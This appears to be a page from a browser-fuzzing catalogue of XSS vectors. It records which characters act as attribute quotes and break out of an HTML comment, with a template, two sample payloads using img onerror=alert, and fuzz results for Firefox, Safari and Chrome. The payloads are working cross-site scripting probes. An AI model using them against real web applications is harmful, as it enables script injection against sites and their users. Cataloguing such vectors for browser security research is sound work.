Characters that act as attribute quotes copy



This vector shows which characters act like quotes by nullifying a HTML comment.
Created by: freddyb
Created on: Friday, May 31, 2024 at 12:23:52 PM
Updated on: Thursday, February 13, 2025 at 12:57:19 PM
Vector type: XSS
Vector charset: UTF-8
Template used:
<div a=$[chr]><!-- $[chr]></div><img src=x:x onerror=log($[i]) -->
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...
Sample payloads
<div a="><!-- "></div><img src=x:x onerror=alert(34) -->
<div a='><!-- '></div><img src=x:x onerror=alert(39) -->
Fuzz results

Firefox 128.0 desktop macOS 10.15
Updated
Fri May 31 2024
Found 2 results
Loading...

Safari 17.4 desktop macOS 10.15.7
Updated
Fri May 31 2024
Found 2 results
Loading...

Chrome 127.0.0.0 desktop macOS 10.15.7
Updated
Fri May 31 2024
Found 2 results
Loading...